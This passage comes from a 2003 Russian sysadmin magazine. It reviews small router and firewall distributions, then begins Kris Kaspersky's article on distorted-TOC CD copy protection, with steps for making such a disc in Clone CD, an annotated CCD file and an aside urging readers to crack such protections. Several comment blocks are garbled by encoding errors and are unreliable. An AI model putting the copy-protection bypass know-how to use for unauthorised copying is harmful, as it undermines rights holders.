навливать и настраивать. После перезагрузки в строкеприглашения введите setup и отвечайте на вопросы. Зе-леным цветом выделены вопросы, которые необходимообязательно настроить, желтым – опциональные, а крас-ные вопросы для тех, кто в состоянии разобраться в том,что делает. Вводя номер телефона провайдера, при то-новом наборе набейте перед номером букву Т, при им-пульсном – Р, если вы используете мини-АТС, введитесимвол W, например Т9W2798007. Используется два па-роля: root и администратора (для удаленной настройкичерез веб-интерфейс, 82 порт по умолчанию). И еще одноудобство реализовано во FreeSCO, хотя все установки привыключении сохраняются на дискете, его можно устано-вить на жесткий диск, для этого вместо setup введитеmv2hd. Жесткий диск должен быть отформатирован какFAT16 или FAT32. После перезагрузки введите setup иделайте все, как описано выше (дискету перед этим, ес-тественно, необходимо удалить). Затем можно доустано-вить необходимые для работы программы, скомпилиро-вав их предварительно в другом дистрибутиве. При такихразмерах это просто супер.

Floppyfw (http://www.zelow.no/floppyfw/index.html) крат-ко можно охарактеризовать как маршрутизатор с расши-ренными возможностями firewall, который размещается иработает с одного диска. Поддерживаются списки досту-па, IP-masquerading или NAT (Network Address Translation),маршрутизация пакетов. Системные требования также не-

высоки – 386sx или лучше 12 Мб ОЗУ (при меньшем объе-ме можно использовать более раннюю версию, котораяесть на сайте). Очень простая система пакетов, которуюможно использовать для добавления необходимых при-ложений: редакторов, PPP, VPN и пр. Поддерживается ре-гистрация событий при помощи klogd/syslogd, локальноеи удаленное управление, имеются серверы DHCP и ке-ширующий DNS для внутренних сетей. Образ сохраняет-ся на дискете с файловой системой FAT, что позволяеточень просто редактировать необходимые параметры вWindows или DOS, на свободное место, оставшееся надискете, можно добавить пару своих приложений, в томчисле и пересобранное под свои нужды ядро. Настройкапроизводится вручную без помощи вспомогательных ути-лит, но все заготовки можно заранее прописать в .ini- и.cfg-файлах. Несмотря на необходимость изучения рабо-ты соответствующих утилит (ipchains и ipmasqadm),floppyfw со своими обязанностями справляется на «отлич-но». В Интернете читал много хороших откликов, плюсориентированность на безопасность.

Coyote Linux (http://www.coyotelinux.com/). Цель этогопроекта состоит в том, чтобы обеспечить совместный дос-туп в Интернет, используя одно соединение и больше ни-чего, но зато без предварительного изучения основ Linux(хотя это в любом случае только приветствуется). При этомпервоначально необходимо сконфигурировать будущую си-стему при помощи визарда в Windows (рис.2) или скрипта

Ðèñóíîê 1à.

Page 29: 010 Системный Администратор 09 2003

27№9(10), сентябрь 2003

администрирование

в Linux. В ходе которого, отвечая на вопросы, можно будетвыбрать размер будущей системы (от 1.44 до 1.73 Мб),настроить сетевые интерфейсы, оптимизировать под ис-пользуемый процессор (от 386 без сопроцессора до 486),задать дополнительные приложения (ssh, webmin и пр.), при

этом ничего лишнего в систему не будет добавлено. Послечего система компилируется и записывается на дискету,которую можно тут же клонировать. Поддерживается толь-ко два сетевых интерфейса, но в FAQ можно найти ответ,как создать DMZ (DeMiliterized Zone) для компьютеров, ко-торым необходимы реальные IP-адреса (www, е-mail, ftp-серверы) при помощи ifconfig.

Ulric’s Router Construction Kit (http://siag.nu/urck/) позво-ляет собрать свой роутер на дискете, используя современ-ные ядра серии 2.4.x. В комплекте идут только базовыеутилиты, но при необходимости можно расширить основ-ные возможности роутинга за счет пакета Zebra (http://www.zebra.org/) и пакета Vrrpd (http://w3.arobas.net/~jetienne/vrrpd/index.html), позволяющего двум маршрутизаторамконтролировать работу друг друга и подстраховать, еслиодин из них выйдет из строя.

ShareTheNet (http://sharethenet.webserv.com) – вообще-то один из первых подобных проектов (router + firewall), иавтор на первых порах продавал его очень долго и, какмне кажется, довольно успешно, только относительно не-давно (что-то около года) он стал бесплатным и доступ-ным для свободной закачки. Первоначально необходимоустановить программу под Windows(рис.3), после чего со-здать при помощи визарда дискету (рис.3а). Удаленноеадминистрирование также осуществляется при помощиэтой утилиты. Системные требования 80386+ и 8Mб, под-

Ðèñóíîê 1á.

Ðèñóíîê 2.

Page 30: 010 Системный Администратор 09 2003

28

администрирование

держивается два сетевых интерфейса (Ethernet и модем).К сожалению, Linux Router Project (LRP 1997-2002) Дей-

ва Синейджа (Dave Cinege), размещавшийся по адресуhttp://linuxrouter.org/, буквально на днях приказал долгожить, но еще доступны старые версии этого неплохогодистрибутива. Другой проект, который работал парал-лельно, LEAF – Linux Embedded Appliance Firewall (http://leaf.sourceforge.net), поддерживающий ядро 2.4.20 и темуLRP в нескольких вариациях, все еще продолжает созда-

вать маленькие дистрибутивы, которые можно использо-вать в качестве маршрутизаторов, серверов доступа, тон-ких серверов и клиентов и прочих простых сетевых встра-иваемых систем.

FrazierWall Linux (http://www.frazierwall.com/) – еще одинпроект, берущий свое начало от LRP и Coyote Linux, но

Ðèñóíîê 3.

Ðèñóíîê 3à.

Ðèñóíîê 4.

Page 31: 010 Системный Администратор 09 2003

29№9(10), сентябрь 2003

администрирование

после внесенных изменений уже в принципе заметно от-личающийся от своих прародителей. Его можно исполь-зовать в качестве NAT, роутера, firewall. Поддерживают-ся DHCP для локальных клиентов, time server и отправкалогов firewall и предупреждения защиты по почте. Кромеэтого основной упор был сделан на легкость конфигури-рования и безопасность. Security обеспечивают дополни-тельные скрипты и предустановленный набор правилfirewall, позволяющий первоначально установить ее и но-вичку в этом деле. Системные требования процессор –i486 и 16 Mб RAM.

Далее речь пойдет о дистрибутивах, требующих ужеСD-ROM для своей установки или работы. Появление ихвполне закономерно и понятно, не все необходимые фун-кции можно запихнуть на дискету, плюс медленный, новсе-таки постепенный уход этого устройства и распрост-раненность СD-RW, позволяющая любому записать их наболванку. Да и мощность «устаревшего» оборудованияпостепенно растет, если года три назад это были i386, тотеперь к ним относятся и i586 компьютеры и Celeron пер-вых выпусков. И вполне естественно, так как записатьсвою конфигурацию обратно на СD-ROM не получится,то в большинстве дистрибутивов имеется опция сохране-ния их на дискету или для работы необходим уже жест-кий диск, хотя в этом случае возможны варианты.

Keeper Linux (http://www.keeper.org.uk/) разрабатыва-

ется в двух вариантах: floppy, требующий две дискеты,компьютер с процессором i386 и 4 Мб ОЗУ и СD-ROM (13.4Мб), который загружается и работает только с СD-ROM,т.е. не требует установки на жесткий диск, и кроме спа-сательных функций их возможно использовать в качествеgateway/firewall и dialup gateway. Дискетный вариант име-ет шесть различных ревизий, каждая из которых направ-лена на решение одной конкретной задачи (Internet DialupGateway, Full Rescue disk with ssh client support, Local andRemote admin system with ssh support, Firewall Gateway,Firewall/routing Gateway и companion disk с основными ути-литами). СD-ROM-вариант, естественно, имеет все эти идополнителные возможности: VPN (Virtual Private Network),DHCP-сервер и поддержка PPPoA xDSL; Zebra Router, RIP,OSPF, BGP; клиент и сервер SSH2; Full Rescue DiskFacilities; syslogd; PPP Dial-on-demand Internet Gateway(модемный Интернет по требованию). Все это построенона ядре 2.4.18 с поддержкой большинства устройств. Ин-тересно, что в целях повышения безопасности файловаясистема монтируется только в режиме read-only и не по-зволяет сохранить настройки на дискету. Чтобы иметь воз-можность работать со своими настройками, первоначаль-но необходимо внести свои данные в скачанный образ изатем уже записывать его на болванку или дискету. Какэто все можно проделать и в какие файлы вносить изме-нения, очень подробно рассказано в двух документах –

Ðèñóíîê 4à.

Page 32: 010 Системный Администратор 09 2003

30

администрирование

«CDROM Distribution Howto» и «Floppy Distribution Howto»,которые не грех и просто почитать как пример разделкиподобных дистрибутивов. Теперь при попытке записи вRAM-устройство система обнаруживает это и просто пе-резагружается, восстанавливая настройки по умолчанию.Несмотря на первоначальную возню с образами, он пол-ностью соответствует своему девизу «Powerful, Reliableand Secure».

SmoothWall (http://www.smoothwall.org/). Первый дист-рибутив этого проекта увидел свет в июле 2000 года, со-здается он администраторами и специалистами по безо-пасности. Причем самое бурное развитие приходится на2003 год. Если в конце прошлого (2002) года мне пришлосьработать с версией 0.9.9, то сейчас уже доступна бета 5версии 2.0 «Orient». Данный дистрибутив построен на со-временном ядре серии 2.4.21, имеет низкие системныетребования (рекомендуется 486i, 16 Мб ОЗУ), поддержи-вает кроме разнообразных сетевых устройств (Ethernet10/100, ISDN, USB ADSL) и обычные аналоговые модемы,также и IDE CD-ROM (с которого, собственно, произво-дится инсталляция дистрибутива), и, конечно же, диско-вод. ISO-образ дистрибутива занимает чуть более 20 Мб.Установка особой сложности не вызывает. Программа ус-тановки сама автоматически разбивает диск /dev/hda на4 раздела (/boot, swap, /var/log и корневой), хотя в даль-нейшем это можно изменить. В комплект входят все не-обходимые утилиты для создания и обслуживания фай-

ловой системы ext2fs/3fs. Дальше необходимо просто че-стно ответить на вопросы об IP-адресах (поддерживаетсятри сетевых интерфейса GREEN, RED, ORANGE, доступк которым можно настроить в различных варианциях),выбрать раскладку клавиатуры, временной пояс и принеобходимости ввести телефонный номер провайдера, но,к сожалению, только один. Сетевые устройства програм-ма установки находит сама, при неудаче можно попробо-вать выбрать из довольно объемистого списка. После все-го следует запрос трех паролей для пользователей root,setup (для запуска программы изменения первичных на-строек /usr/local/sbin/setup) и admin. После окончания про-цесса установки можно, предварительно достав выехав-ший диск, запихать компьютер под стол. Все дальнейшиедействия по настройке теперь можно производить черезудобный веб-интерфейс (рис.4, 4а), для чего нужно зайтипо адресу http://smoothwall:81 или https://smoothwall:445 дляработы по защищенному протоколу. И теперь можно уз-нать статистику о работе роутера (uptime, учет количе-ства пакетов и скорость передачи по интерфейсам, ис-пользование диска, пользователи), получить справку онастройке тех или иных параметров, войти в shell, изме-нить работу некоторых сервисов, остановить (или пере-загрузить) роутер или отключить один из интерфейсов.Теперь о некоторых features. SmootWall выполняет ролькеширующего веб-сервера (по умолчанию: время обнов-ления 15 мин, кеш 4 Мб), при необходимости в DHCP-сер-

Ðèñóíîê 5.

Page 33: 010 Системный Администратор 09 2003

31№9(10), сентябрь 2003

администрирование

висе нужно просто указать в setup в соответствующейвкладке диапазон IP-адресов и включить сервис. Кромевеб-интерфейса можно войти с помощью SSH. В лог-фай-лах (которые можно импортировать нажатием одной кноп-ки) можно найти подробные данные сетевой системы пре-дупреждения о вторжении (NIDS) snort (имя, адрес, дата,степень опасности и т. д.), подробности работы firewall иотчеты всех остальных запущенных сервисов и ядра.Имеется возможность создания VPN, используя IPSec,устанавливающуюся вместе с системой (трафик при этомшифруется при помощи алгоритма 3DES). Единственнаясложность при установке SmoothWall, о которой довелосьпока слышать, на очень старых компьютерах (скорее все-го из-за BIOS) это:

Т.е. система не может создать раздел ext3. Решаетсяона, как ни странно, выбором типа установки при помо-щи http, а не CD-ROM (если канал позволяет).

Надежность старых жестких дисков тоже вызывает со-мнение, чтобы установить маршрутизатор на одно из ус-тройств DiskOnChip, использующих NFTL (NAND FlashTranslation Layer), необходимо обратиться к проектуRouterlinux (http://www.routerlinux.com/). Установив затемкроме стандартных firewall/router/NAT модем и Ethernet,можно создать VPN-туннель при помощи IPSec, имеется

SSH, SNMP и DHCP-сервер, кеширующий DNS-сервер,zebra RIP, OSPF и BGP, crond и, что приятно, почему-торедко встречающийся nmap.

Astaro Security Linux (http://www.astaro.com/) – еще одиндистрибутив, основное назначение которого – организа-ция совместного доступа в Интернет, но вот размер (пос-ле распаковки архива получается 216 Мб) уже говорит осерьезности подхода, а название – об основной направ-ленности. После установки на жесткий диск, кроме firewallи контекстного фильтра, защищающего в том числе и отвирусов, можно организовать DMZ, proxy server, SNAT,DNAT, Masquerading и VPN, которые делают этот дистри-бутив идеальным решением для защиты сети. Интерес-но, что при инсталляции можно лишь настроить дистри-бутив в общих чертах (указывается только IP-адрес са-мого сервера), основные же настройки можно произво-дить, либо непосредственно редактируя конфигурацион-ные файлы, либо более наглядно и проще для новичкачерез WebAdmin (рис.5, 5а). При помощи сервиса Up2Dateможно автоматически обновлять компоненты, плюс неко-торые патчи доступны на сайте. Рекомендуется процес-сор класса Intel Pentium II, 128 Мб ОЗУ, СD-ROM, жесткийдиск, две или более сетевые карточки. Система поддер-живает большое количество разнообразных устройств, втом числе и знает о беспроводных. А документацию, ко-торой полно как на сайте, так и в дистрибутиве, не грехпочитать и для общего развития.

Ðèñóíîê 5à.

Unable to make boot filesystem/cdrom/bin/mke2fs: invalid option --j

Page 34: 010 Системный Администратор 09 2003

32

администрирование

Кроме Linux, естественно, имеется пара дистрибути-вов, основанных на BSD.

PicoBSD (http://www.freebsd.org/~picobsd/) представля-ет собой «one floppy» версию FreeBSD 3.0-current. Имеет-ся три варианта этой системы: Dialup Version, NetworkingVersion и Router Version, т.е. полноценная система, кото-рую можно использовать как для маленького маршрути-затора, так и повседневного безопасного хождения поИнтернету. Единственное, что не очень удобно для нович-ков, в угоду маленькому размеру, как и в большинствеописываемых дистрибутивов, в PicoBSD практически нетдокументации, кроме отдельных man-страниц специфи-ческих для него приложений. Поэтому советую скачать ифайл README, ссылка на который имеется возле каждо-го дистрибутива. Наличие исходников дает прекраснуювозможность самому собрать PicoBSD под свои нужды.Дополнительно по адресу http://www.kot.dp.ua/ можно най-ти скрипты для учета трафика, некоторую переведеннуюинформацию и другие полезные программы.

ClosedBSD (http://www.closedbsd.org/) также основан наFreeBSD и использует некоторые специфические для этойсистемы приложения вроде ipfw, позволяет создать firewallили NAT. Причем в отличие от того же PicoBSD большин-ство основных настроек сетевых устройств можно произ-вести при помощи вполне понятной системы меню (рис.6,6а). Естественно, для более тонкого конфигурирования в

Ðèñóíîê 6.

любом случае придется лезть в командную строку, всехпунктов не предусмотришь. Но чтобы новичку не при-шлось самому разбираться с опциями firewall, имеется пре-дустановленный (Basic) набор правил для типичной сис-темы и режим «Advanced» для добавления своего прави-ла (надо отметить тоже с шаблонами, что существеннооблегчает работу). Дополнительно имеется пункт менюmonitor для отображения статистик, проходящих черезсистему пакетов. В данный момент не поддерживаютсямодемы и что-то наподобие IPSec, позволяющие создатьVPN, и, что не очень удобно (но зато безопасно), удален-ное управление (надеюсь ненадолго). Распространяетсяв двух вариантах для записи на дискету и более наворо-ченный СD-ROM-вариант (12.8 Мб), не требует установкина жесткий диск, все настройки во втором варианте мож-но сбросить на дискету. Системные требования по-пре-жнему невысоки – любой процессор от i386 с 8 Мб RAM вfloppy-варианте и 32 Мб в СD-ROM.

Как видите, выбрасывать старый компьютер еще рано.Он еще может сослужить хорошую службу и сэкономитьденьги на покупку дорогого маршрутизатора. Дополни-тельно каждый из представленных дистрибутивов можнозаточить под конкретную сеть и задачи.

Ðèñóíîê 6à.

Page 35: 010 Системный Администратор 09 2003
Page 36: 010 Системный Администратор 09 2003

34

администрирование

ИСКАЖЕНИЕ TOCКАК СРЕДСТВО БОРЬБЫС НЕСАНКЦИОНИРОВАННЫМКОПИРОВАНИЕМ ДИСКА

КРИС КАСПЕРСКИ

Уже давноУтихло поле боя,

Но сорок тысячВоинов Китая

Погибли здесь,Пожертвовав собою...

Ду Фо«Оплакиваю поражение при Чэньтао»

Искажение TOC – жестокий, уродливыйно на удивление широкораспространенный прием,использующийся в доброй половинезащитных механизмов. Штатныекопировщики на таких дискахв буквальном смысле слова сходятс ума и едут крышей. Копировщикизащищенных дисков (Clone CD,Alcohol 120%) к искаженному TOCотносятся гораздо лояльнее,но требуют для своей работыопределенного сочетания пишущегои читающего приводов, да и в этомслучае копируют такой диск не всегда.

Page 37: 010 Системный Администратор 09 2003

35№9(10), сентябрь 2003

администрирование

Пишущий привод обязательно должен поддерживать ре-жим RAW DAO (Disc At Once), в котором весь диск запи-сывается за один проход лазера. Режим RAW SAO (SessionAt Once) для этих целей совершенно непригоден, посколь-ку предписывает приводу писать сначала содержимое сес-сии, а потом – TOC. Как следствие – приводу приходитсясамостоятельно анализировать TOC, чтобы определитьстартовый адрес сессии и ее длину. Попытка записать ис-каженный TOC в режиме SAO в общем случае приводит кнепредсказуемому поведению привода и о работоспособ-ной копии защищенного диска нечего и думать! Перваявстретившаяся приводу сессия с искаженным TOC обыч-но оказывается и последней, т.к. остальные сессии пи-сать уже некуда (искажение TOC обычно преследует цельувеличения размера сессии до нескольких гигабайт).

Читающий привод помимо режима «сырого» чтения (ко-торый поддерживают практически все приводы) долженуметь распознавать искаженный TOC, автоматически пе-реходя в этом случае на использование «резервного» сред-ства адресации – Q-канала подкода. В противном случаесессия, содержащая искаженный TOC, окажется недоступ-ной для чтения даже на секторном уровне.

Таким образом, копирование дисков с искаженнымTOC осуществимо не на всяком оборудовании и порядка1/3 моделей «писцов» для этих целей непригодны. Узнать,поддерживает ли выбранная вами модель привода режимRAW DAO или нет, можно, в частности, из раздела «Techsupport» справки Clone CD, где перечислены характерис-тики достаточно большого количества всевозможных при-водов (впрочем, моих приводов там, увы, нет). Другойпуть – «скормить» приводу SCSI/ATAPI команду 46h (GETCONFIGURATION) и посмотреть, что он ответит. Из двухмоих «писцов» режим RAW DAO поддерживает один лишьNEC. С определением возможности чтения искаженныхсессий дела обстоят на порядок сложнее, ибо данная осо-бенность поведения является исключительно внутреннейхарактеристикой привода и не афишируется ни самимприводом, ни его производителями. Приходится выяснятьэту информацию экспериментально. Возьмите диск с чу-довищно искаженным TOC (о том, как его создать, рас-сказано ниже), воткните его в привод и попробуйте про-честь несколько секторов из искаженной сессии. Реак-ция приводов может быть самой разнообразной. Тот жеPHILIPS в зависимости от «настроения» своих электрон-ных цепей то рапортует об ошибке чтения, то возвращаетсовершенно бессмысленный мусор, в котором не угады-вается даже синхропоследовательность, возглавляющаязаголовок сырого сектора.

Основной недостаток защитных механизмов с искажен-ным TOC состоит в том, что некоторые приводы такие дис-ки просто «не видят» и потому не могут их воспроизвести.Легальный пользователь, испытавший несовместимостьзащиты со своей аппаратурой, в лучшем случае обложит ееразработчика матом и поспешит вернуть диск продавцу…если, конечно, сможет вытащить эту «бяку» из недр CD-ROM, и не факт, что у него получится, поскольку микро-процессорная начинка некоторых приводов при попыткеанализа искаженного TOC просто «зависает» и привод пол-ностью абстрагируется от всех раздражителей внешнего

мира, не реагируя в том числе и на настойчивые попыткипользователя сделать диску «EJECT». Дырку для аварий-ного выброса диска, правда, еще никто не отменял1, но, послухам, не везде она есть (хотя лично мне приводов бездырки еще не встречалось), а там где есть – зачастую ока-зывается скрытой за декоративной панелью или – что бо-лее вероятно – пользователь может вообще не знать, чтоэто за отверстие такое, для чего оно предназначено и каким, собственно, следует пользоваться. На «Макинтошах»таких дырок нет – это точно (или же «Маковские» пользова-тели все сплошь идиоты). Во всяком случае, количество су-дебных исков, поданных последними, в буквальном смыслеслова не поддается ни разуму, ни исчислению. Самое инте-ресное, что подавляющее большинство этих исков былиудовлетворены и разработчикам пришлось оплатить и «ре-монт» аппаратуры, и моральный ущерб, и собственно самисудебные издержки. (Между нами говоря, снятие защиты сдисков, записанных с грубыми нарушениями стандарта, ко-ими, в частности, и являются диски с искаженным TOC, несчитается взломом, и не преследуется по закону, поэтомуломайте, ломайте и еще раз ломайте).

Создание защищенного дискас искаженным TOCДля создания защищенного диска с искаженным TOC нампонадобится: любая программа записи на диск, умеющаясоздавать многосессионные диски (например, Roxio EasyCD Creator), копировщик защищенных дисков, сохраняю-щий содержимое TOC в текстовом файле, доступном дляредактирования (мы выбираем Clone CD), и, естественно,сам пишущий привод, поддерживающий режим сырой за-писи в режиме DAO. Для облегчения восприятия материа-ла все действия будут расписаны по шагам, хотя это выг-лядит и не слишком литературно.

Шаг первыйДостаем из упаковки CD-R болванку или – что даже луч-ше – засовываем в привод потертый жизнью CD-RW диски записываем на него пару сессий в штатном режиме.Будет лучше (вернее, нагляднее), если вторая сессия бу-дет включать в себя файлы первой сессии – той самойсессии, чей TOC мы и собираемся искажать. Интересно,сможет ли привод прочесть ее содержимое или нет?

Шаг второйЗапускаем Clone CD и просим его создать образ ориги-нального диска (выбираемый профиль настроек на дан-ном этапе некритичен, поскольку диск еще не защищен,то с равным успехом можно использовать как «CD с дан-ными», так и «Protected PC Game»; галочку «создаватьCue-Sheet» взводить необязательно – все равно она дей-ствительна лишь на односессионных CD).

Шаг третийЕсли все сделано правильно и программно-аппаратноеобеспечение во всей своей совокупности работает нор-мально, на жестком диске должны образоваться три фай-ла: IMAGE.CCD, – несущий в себе содержимое Q-каналаподкода Lead-In области или, попросту говоря, TOC;

Page 38: 010 Системный Администратор 09 2003

36

администрирование

IMAGE.IMG – «сырой» образ диска со всеми секторами от00:00:02 до «сколько-на-диске-есть-там» и IMAGE.SUB – со-держимое полей подкода «программной» части диска.Последний файл в принципе может и отсутствовать (онсоздается только, если взведена галочка «Чтение субка-налов из треков с данными»), но это некритично, т.к. сей-час нас в первую очередь интересуют не каналы подко-да, а сам TOC!

Откроем файл IMAGE.CCD в любом текстовом редак-торе и попытаемся перевести расклад геометрии дискана человеческий язык.

Ëèñòèíã 1. Ñîäåðæèìîå íåèñêàæåííîãî TOC â ñûðîì âèäå. Îáîá-ùåííî ãîâîðÿ, äèñê ñîäåðæèò äâå ñåêöèè – ïî îäíîìó òðåêóêàæäàÿ. Àáñîëþòíûé àäðåñ íà÷àëà ïåðâîãî òðåêà 00:00:02,àáñîëþòíûé àäðåñ Lead-out-îáëàñòè ïåðâîé ñåññèè 00:29:33(àäðåñ ïîñëåäíåãî ñåêòîðà òðåêà íà äâå ñåêóíäû êîðî÷å),àáñîëþòíûé àäðåñ íà÷àëà âòîðîãî òðåêà 03:01:33, à àáñîëþò-íûé àäðåñ Lead-out âòîðîé ñåññèè 03:24:33. Ìàêñèìàëüíî äî-ñòèæèìàÿ åìêîñòü äèñêà 22:14:34 (õîòÿ íà ñàìîì äèñêå èíàïèñàíî, ÷òî îí 23-ìèíóòíûé).

[CloneCD] ; äàííûå î Clone CDVersion=3 ; âåðñèÿ Clone CD.

[Disc] ; äàííûå äèñêàTocEntries=12 ; êîëè÷åñòâî ýëåìåíòîâ TOCSessions=2 ; êîëè÷åñòâî ñåññèé = 2DataTracksScrambled=0 ; ïîëå DVD (ñì. inf-8090), äëÿ CD

; ýòà èíôîðìàöèÿ ëèøåíà ñìûñëàCDTextLength=0 ; CD-Text â ïîëÿõ ïîäêîäà

; Lead-in-îáëàñòè îòñóòñòâóåò[Session 1] ; äàííûå ñåññèè 1PreGapMode=1 ; òèï òðåêà Mode 1 (òðåê ñ äàííûìè,

; 2048 áàéò äàííûõ)PreGapSubC=0 ; äàííûõ ïîäêàíàëà íåò

[Session 2] ; äàííûå ñåññèè 2PreGapMode=1 ; òèï òðåêà Mode 1 (òðåê ñ äàííûìè,

; 2048 áàéò äàííûõ)PreGapSubC=0 ; äàííûõ ïîäêàíàëà íåò

[Entry 0] ; äàííûå ýëåìåíòà TOC ¹0Session=1 ; ýëåìåíò ñåññèè 1Point=0xa0 ; íîìåð ïåðâîãî òðåêà ñåññèè 1

; â PMin/òèï äèñêà â PSecADR=0x01 ; q-Mode == 1Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé

; äëÿ êîïèðîâàíèÿTrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –

; ýòî Lead-in-òðåê (ò.å. TOC)AMin=0 ; \ASec=0 ; + àáñîëþòíûé àäðåñ òåêóùåãî òðåêàAFrame=0 ; /ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêàZero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ,

; êàê îíî è åñòüPMin=1 ; íîìåð ïåðâîãî òðåêà ñåññèè 1PSec=0 ; òèï äèñêà CD-DA è CD-ROM-äèñê â Mode 1PFrame=0 ; íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèèPLBA=4350 ; íîìåð òðåêà, ïðåäñòàâëåííûé Clone CD

; êàê LBA-àäðåñ, ò.å. ãëóïîñòü[Entry 1] ; äàííûå ýëåìåíòà TOC ¹1Session=1 ; ýëåìåíò ñåññèè 1Point=0xa1 ; íîìåð ïîñëåäíåãî òðåêà ñåññèè 1 â PMinADR=0x01 ; q-Mode == 1Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé

; äëÿ êîïèðîâàíèÿTrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –

; ýòî Lead-in-òðåê (ò.å. TOC)AMin=0 ; \ASec=0 ; + àáñîëþòíûé àäðåñ òåêóùåãî òðåêàAFrame=0 ; /ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêàZero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ,

; êàê îíî è åñòüPMin=1 ; íîìåð ïîñëåäíåãî òðåêà ñåññèè 1

;(â ñåññèè òîëüêî îäèí òðåê)PSec=0 ; íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèèPFrame=0 ; íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèèPLBA=4350 ; íîìåð òðåêà, ïðåäñòàâëåííûé Clone CD

; êàê LBA-àäðåñ, ò.å. ãëóïîñòü

[Entry 2] ; äàííûå ýëåìåíòà TOC ¹2Session=1 ; ýëåìåíò ñåññèè 1Point=0xa2 ; ïîëîæåíèå Lead-out-îáëàñòè

; â PMin:PSec:PFrameADR=0x01 ; q-Mode == 1Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé

; äëÿ êîïèðîâàíèÿTrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –

; ýòî Lead-in-òðåê (ò.å. TOC)AMin=0 ; \ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêàAFrame=0 ; /ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêàZero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ,

; êàê îíî è åñòüPMin=0 ; \PSec=29 ; + - àáñîëþòíûé àäðåñ Lead-out-îáëàñòè

; ñåññèè 1PFrame=33 ; /PLBA=2058 ; LBA-àäðåñ Lead-out-îáëàñòè ñåññèè 1

[Entry 3] ; äàííûå ýëåìåíòà TOC ¹3Session=1 ; ýëåìåíò ñåññèè 1Point=0x01 ; äàííûå òðåêà 1 ñåññèè 1ADR=0x01 ; q-Mode == 1Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé

; äëÿ êîïèðîâàíèÿTrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –

; ýòî Lead-in-òðåê (ò.å. TOC)AMin=0 ; \ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêàAFrame=0 ; /ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêàZero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ,

; êàê îíî è åñòüPMin=0 ; \PSec=2 ; + - àáñîëþòíûé àäðåñ íà÷àëà òðåêà 1

; ñåññèè 1PFrame=0 ; /PLBA=0 ; LBA-àäðåñ íà÷àëà òðåêà 1 ñåññèè 1

[Entry 4] ; äàííûå ýëåìåíòà TOC ¹4Session=1 ; ýëåìåíò ñåññèè 1Point=0xb0 ; ïîçèöèÿ ñëåäóþùèé çàïèñûâàåìîé îáëàñòè

; â AMin:ASec:AFrameADR=0x05 ; q-Mode == 1Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé

; äëÿ êîïèðîâàíèÿTrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –

; ýòî Lead-in-òðåê (ò.å. TOC)AMin=2 ; \ASec=59 ; + - àáñîëþòíûé àäðåñ ñëåäóþùåé

; çàïèñûâàåìîé îáëàñòèAFrame=33 ; /ALBA=13308 ; LBA-àäðåñ ñëåäóþùåé çàïèñûâàåìîé îáëàñòèZero=3 ; êîë-âî pointer â Mode 5PMin=22 ; \PSec=14 ; + - àáñîëþòíûé àäðåñ ìàêñèìàëüíîé

; çàïèñûâàåìîé îáëàñòèPFrame=34 ; /PLBA=99934 ; LBA-àäðåñ ìàêñèìàëüíîé çàïèñûâàåìîé

; îáëàñòè[Entry 5] ; äàííûå ýëåìåíòà TOC ¹5Session=1 ; ýëåìåíò ñåññèè 1Point=0xc0 ; ñòàðòîâûé àäðåñ Lead-in-îáëàñòè

; Hybrid-äèñêà (åñëè îí åñòü)ADR=0x05 ; Mode 5 (Îðàíæåâàÿ êíèãà)Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé

; äëÿ êîïèðîâàíèÿTrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –

; ýòî Lead-in-òðåê (ò.å. TOC)AMin=162 ; ðåêîìåíäóåìàÿ ìîùíîñòü ëàçåðà äëÿ çàïèñèASec=128 ; Application codeAFrame=140 ; çàðåçåðâèðîâàíîALBA=288590 ; LBA-"àäðåñ" òðåõ ïðåäûäóùèõ ïîëåéZero=0 ; çàðåçåðâèðîâàíîPMin=97 ; \PSec=27 ; + - àáñîëþòíûé àäðåñ Lead-in-îáëàñòè

; Hybrid-äèñêàPFrame=21 ; / (àäðåñ ëåæèò çà ïðåäåëàìè äèñêà,

; ò.å. Hybrid-äèñêà íåò)PLBA=-11604 ; LBA-àäðåñ Lead-in-îáëàñòè Hybrid

; (âû÷èñëåí ñ ïåðåïîëíåíèåì)[Entry 6] ; äàííûå ýëåìåíòà TOC ¹6Session=1 ; ýëåìåíò ñåññèè 1Point=0xc1 ; êîïèÿ ATIP-èíôîðìàöèèADR=0x05 ; -+Control=0x04 ; -+

Page 39: 010 Системный Администратор 09 2003

37№9(10), сентябрь 2003

администрирование

Давайте теперь немного поиздеваемся над TOC и уве-личим стартовый адрес первого трека так, чтобы он вы-шел далеко за пределы первой сессии и попал… ну, соб-ственно, куда нибудь он все равно попадет. Чтобы быстроотыскать соответствующую ему запись, воспользуемсяконтекстным поиском. Жмем <F7> и вводим «point=0x1»:

